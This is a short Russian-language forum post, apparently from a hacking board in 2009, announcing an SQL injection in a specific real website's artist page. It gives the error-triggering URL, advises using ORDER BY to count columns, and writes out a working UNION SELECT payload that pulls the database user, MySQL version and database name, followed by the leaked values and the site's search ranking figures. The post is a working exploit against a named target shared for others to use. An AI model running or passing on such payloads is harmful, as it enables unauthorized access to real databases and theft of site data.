13.01.2009, 11:35
|
|
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
С нами:
9196401
Репутация:
930
|
|
на мой взгляд очень интересная inj
при запросе
Код:
http://otium.ru/artists/?id=13'
выдаёт Ошибка! Не могу выполнить SQL запрос
работая order by добиваемся того, чтобы это сообщение пропало
Код:
http://otium.ru/artists/?id=-13+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5--
user(): otium_ru@localhost
version(): 5.1.29-rc
database(): otium_ru
тИЦ: 50
PR: 4 |
|
|